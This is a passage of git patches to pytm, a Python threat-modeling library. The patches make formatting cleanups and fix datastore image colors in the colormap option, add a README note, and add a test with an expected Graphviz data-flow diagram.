 
+
 class Controls:
     """Controls implemented by/on and Element"""
 
@@ -1297,7 +1315,6 @@ def _attr_values(self):
             result[i] = value
         return result
 
-
     def _safeset(self, attr, value):
         try:
             setattr(self, attr, value)
@@ -1305,7 +1322,6 @@ def _safeset(self, attr, value):
             pass
 
 
-
 class Element:
     """A generic element"""
 
@@ -1489,14 +1505,14 @@ def _set_severity(self, sev):
             "medium": 3,
             "low": 2,
             "very low": 1,
-            "info": 0
+            "info": 0,
         }
 
-        if(sev.lower() not in sevs.keys()):
+        if sev.lower() not in sevs.keys():
             return
 
-        if(self.severity < sevs[sev.lower()]):
-            self.severity = sevs[sev.lower()]        
+        if self.severity < sevs[sev.lower()]:
+            self.severity = sevs[sev.lower()]
         return
 
 
@@ -1675,7 +1691,7 @@ class Datastore(Asset):
 * FILE_SYSTEM - files on a file system
 * SQL - A SQL Database
 * LDAP - An LDAP Server
-* AWS_S3 - An S3 Bucket within AWS"""
+* AWS_S3 - An S3 Bucket within AWS""",
     )
 
     def __init__(self, name, **kwargs):
@@ -1705,16 +1721,20 @@ def dfd(self, **kwargs):
             return ""
 
         color = self._color()
+        color_file = "black"
 
         if kwargs.get("colormap", False):
             color = sev_to_color(self.severity)
+            color_file = color.split(";")[0]
 
         return self._dfd_template().format(
             uniq_name=self._uniq_name(),
             label=self._label(),
             color=color,
             shape=self._shape(),
-            image=os.path.join(os.path.dirname(__file__), "images", f"datastore_{color}.png"),
+            image=os.path.join(
+                os.path.dirname(__file__), "images", f"datastore_{color_file}.png"
+            ),
         )
 
 
@@ -1875,7 +1895,7 @@ def dfd(self, **kwargs):
                 continue
             # The content to draw can include Boundary objects
             edges.append(e.dfd(**kwargs))
-        
+
         return self._dfd_template().format(
             uniq_name=self._uniq_name(),
             label=self._label(),
@@ -1955,27 +1975,29 @@ def serialize(obj, nested=False):
         result[i.lstrip("_")] = value
     return result
 
+
 def encode_element_threat_data(obj):
     """Used to html encode threat data from a list of Elements"""
     encoded_elements = []
-    if (type(obj) is not list):
-       raise ValueError("expecting a list value, got a {}".format(type(obj)))
+    if type(obj) is not list:
+        raise ValueError("expecting a list value, got a {}".format(type(obj)))
 
     for o in obj:
-       c = copy.deepcopy(o)
-       for a in o._attr_values():
-            if (a == "findings"):
-               encoded_findings = encode_threat_data(o.findings)
-               c._safeset("findings", encoded_findings)
+        c = copy.deepcopy(o)
+        for a in o._attr_values():
+            if a == "findings":
+                encoded_findings = encode_threat_data(o.findings)
+                c._safeset("findings", encoded_findings)
             else:
-               v = getattr(o, a)
-               if (type(v) is not list or (type(v) is list and len(v) != 0)):
-                  c._safeset(a, v)
-                 
-       encoded_elements.append(c)    
+                v = getattr(o, a)
+                if type(v) is not list or (type(v) is list and len(v) != 0):
+                    c._safeset(a, v)
+
+        encoded_elements.append(c)
 
     return encoded_elements
 
+
 def encode_threat_data(obj):
     """Used to html encode threat data from a list of threats or findings"""
     encoded_threat_data = []
@@ -2032,12 +2054,16 @@ def get_args():
     _parser.add_argument(
         "--list", action="store_true", help="list all available threats"
     )
-    _parser.add_argument("--colormap", action="store_true", help="color the risk in the diagram")
+    _parser.add_argument(
+        "--colormap", action="store_true", help="color the risk in the diagram"
+    )
     _parser.add_argument(
         "--describe", help="describe the properties available for a given element"
     )
     _parser.add_argument(
-        "--list-elements", action="store_true", help="list all elements which can be part of a threat model"
+        "--list-elements",
+        action="store_true",
+        help="list all elements which can be part of a threat model",
     )
     _parser.add_argument("--json", help="output a JSON file")
     _parser.add_argument(

From 79c32af8c3f4a9d33919af4c6ea301ee7885ba83 Mon Sep 17 00:00:00 2001
From: izar <izar.tarandach@gmail.com>
Date: Wed, 27 Dec 2023 15:40:27 -0500
Subject: [PATCH 84/86] added a note about pytmGPT

---
 README.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/README.md b/README.md
index 5399cd8a..71bc6331 100644
--- a/README.md
+++ b/README.md
@@ -183,6 +183,8 @@ tm.process()
 
 ```
 
+You also have the option of using [pytmGPT](https://chat.openai.com/g/g-soISG24ix-pytmgpt) to create your models from prose!
+
 ### Generating Diagrams
 
 Diagrams are output as [Dot](https://graphviz.gitlab.io/) and [PlantUML](https://plantuml.com/).

From 01b2ce9f5d360bf162168043bd0ecc23d52cce84 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar.tarandach@gmail.com>
Date: Tue, 16 Jan 2024 10:15:14 -0500
Subject: [PATCH 85/86] Added multi-severity to the colormap test

---
 tests/dfd_colormap.dot | 142 +++++++++++++++++++++++++++++++++++++++++
 tests/test_pytmfunc.py |  37 +++++++++++
 2 files changed, 179 insertions(+)
 create mode 100644 tests/dfd_colormap.dot

diff --git a/tests/dfd_colormap.dot b/tests/dfd_colormap.dot
new file mode 100644
index 00000000..d3ed7593
--- /dev/null
+++ b/tests/dfd_colormap.dot
@@ -0,0 +1,142 @@
+digraph tm {
+    graph [
+        fontname = Arial;
+        fontsize = 14;
+    ]
+    node [
+        fontname = Arial;
+        fontsize = 14;
+        rankdir = lr;
+    ]
+    edge [
+        shape = none;
+        arrowtail = onormal;
+        fontname = Arial;
+        fontsize = 12;
+    ]
+    labelloc = "t";
+    fontsize = 20;
+    nodesep = 1;
+
+    subgraph cluster_boundary_Companynet_88f2d9c06f {
+        graph [
+            fontsize = 10;
+            fontcolor = black;
+            style = dashed;
+            color = black;
+            label = <<i>Company net</i>>;
+        ]
+
+        subgraph cluster_boundary_dmz_579e9aae81 {
+            graph [
+                fontsize = 10;
+                fontcolor = black;
+                style = dashed;
+                color = black;
+                label = <<i>dmz</i>>;
+            ]
+
+            server_Gateway_f8af758679 [
+                shape = circle;
+                color = firebrick3; fillcolor="#b2222222"; style=filled ;
+                fontcolor = black;
+                label = "Gateway";
+                margin = 0.02;
+            ]
+
+        }
+
+        subgraph cluster_boundary_backend_f2eb7a3ff7 {
+            graph [
+                fontsize = 10;
+                fontcolor = black;
+                style = dashed;
+                color = black;
+                label = <<i>backend</i>>;
+            ]
+
+            server_WebServer_2c440ebe53 [
+                shape = circle;
+                color = firebrick3; fillcolor="#b2222222"; style=filled ;
+                fontcolor = black;
+                label = "Web Server";
+                margin = 0.02;
+            ]
+
+            datastore_SQLDatabase_0291419f72 [
+                shape = none;
+                fixedsize = shape;
+                image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_gold.png";
+                imagescale = true;
+                color = gold; fillcolor="#ffd80022"; style=filled;
+                fontcolor = black;
+                xlabel = "SQL Database";
+                label = "";
+            ]
+
+        }
+
+    }
+
+    subgraph cluster_boundary_Internet_acf3059e70 {
+        graph [
+            fontsize = 10;
+            fontcolor = black;
+            style = dashed;
+            color = black;
+            label = <<i>Internet</i>>;
+        ]
+
+        actor_User_d2006ce1bb [
+            shape = square;
+            color = darkgreen; fillcolor="#00630022"; style=filled;
+            fontcolor = black;
+            label = "User";
+            margin = 0.02;
+        ]
+
+    }
+
+    actor_User_d2006ce1bb -> server_Gateway_f8af758679 [
+        color = gold; fillcolor="#ffd80022"; style=filled;
+        fontcolor = gold; fillcolor="#ffd80022"; style=filled;
+        dir = forward;
+        label = "User enters\ncomments (*)";
+    ]
+
+    server_Gateway_f8af758679 -> server_WebServer_2c440ebe53 [
+        color = gold; fillcolor="#ffd80022"; style=filled;
+        fontcolor = gold; fillcolor="#ffd80022"; style=filled;
+        dir = forward;
+        label = "Request";
+    ]
+
+    server_WebServer_2c440ebe53 -> datastore_SQLDatabase_0291419f72 [
+        color = gold; fillcolor="#ffd80022"; style=filled;
+        fontcolor = gold; fillcolor="#ffd80022"; style=filled;
+        dir = forward;
+        label = "Insert query with\ncomments";
+    ]
+
+    datastore_SQLDatabase_0291419f72 -> server_WebServer_2c440ebe53 [
+        color = gold; fillcolor="#ffd80022"; style=filled;
+        fontcolor = gold; fillcolor="#ffd80022"; style=filled;
+        dir = forward;
+        label = "Retrieve comments";
+    ]
+
+    server_WebServer_2c440ebe53 -> server_Gateway_f8af758679 [
+        color = gold; fillcolor="#ffd80022"; style=filled;
+        fontcolor = gold; fillcolor="#ffd80022"; style=filled;
+        dir = forward;
+        label = "Response";
+    ]
+
+    server_Gateway_f8af758679 -> actor_User_d2006ce1bb [
+        color = gold; fillcolor="#ffd80022"; style=filled;
+        fontcolor = gold; fillcolor="#ffd80022"; style=filled;
+        dir = forward;
+        label = "Show comments (*)";
+    ]
+
+}
diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index 12d093bb..f5129d5d 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -126,6 +126,43 @@ def test_dfd(self):
         self.maxDiff = None
         self.assertEqual(output, expected)
 
+    def test_dfd_colormap(self):
+        dir_path = os.path.dirname(os.path.realpath(__file__))
+        install_path = os.path.dirname(os.path.realpath(pytm.__file__))
+
+        with open(os.path.join(dir_path, "dfd_colormap.dot")) as x:
+            expected = (
+                x.read().strip().replace("INSTALL_PATH", os.path.dirname(install_path))
+            )
+
+        random.seed(0)
+
+        TM.reset()
+        tm = TM("my test tm", description="aaa")
+        internet = Boundary("Internet")
+        net = Boundary("Company net")
+        dmz = Boundary("dmz", inBoundary=net)
+        backend = Boundary("backend", inBoundary=net)
+        user = Actor("User", inBoundary=internet)
+        gw = Server("Gateway", inBoundary=dmz)
+        web = Server("Web Server", inBoundary=backend)
+        db = Datastore("SQL Database", inBoundary=backend, isEncryptedAtRest=True)
+        comment = Data("Comment", isStored=True)
+
+        Dataflow(user, gw, "User enters comments (*)")
+        Dataflow(gw, web, "Request")
+        Dataflow(web, db, "Insert query with comments", data=[comment])
+        Dataflow(db, web, "Retrieve comments")
+        Dataflow(web, gw, "Response")
+        Dataflow(gw, user, "Show comments (*)")
+
+        self.assertTrue(tm.check())
+        tm.resolve()
+        output = tm.dfd(colormap=True)
+
+        self.maxDiff = None
+        self.assertEqual(output, expected)
+
     def test_dfd_duplicates_ignore(self):
         dir_path = os.path.dirname(os.path.realpath(__file__))
         install_path = os.path.dirname(os.path.realpath(pytm.__file__))

From eb9af4a264b100995deee870fe10313b7a3b2474 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar.tarandach@gmail.com>
Date: Tue, 16 Jan 2024 10:18:36 -0500
Subject: [PATCH 86/86] Ops. Always forget to fix the path.

---
 tests/dfd_colormap.dot | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/dfd_colormap.dot b/tests/dfd_colormap.dot
index d3ed7593..1c4e61af 100644
--- a/tests/dfd_colormap.dot
+++ b/tests/dfd_colormap.dot
@@ -66,7 +66,7 @@ digraph tm {
             datastore_SQLDatabase_0291419f72 [
                 shape = none;
                 fixedsize = shape;
-                image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_gold.png";
+                image = "INSTALL_PATH/pytm/images/datastore_gold.png";
                 imagescale = true;
                 color = gold; fillcolor="#ffd80022"; style=filled;
                 fontcolor = black;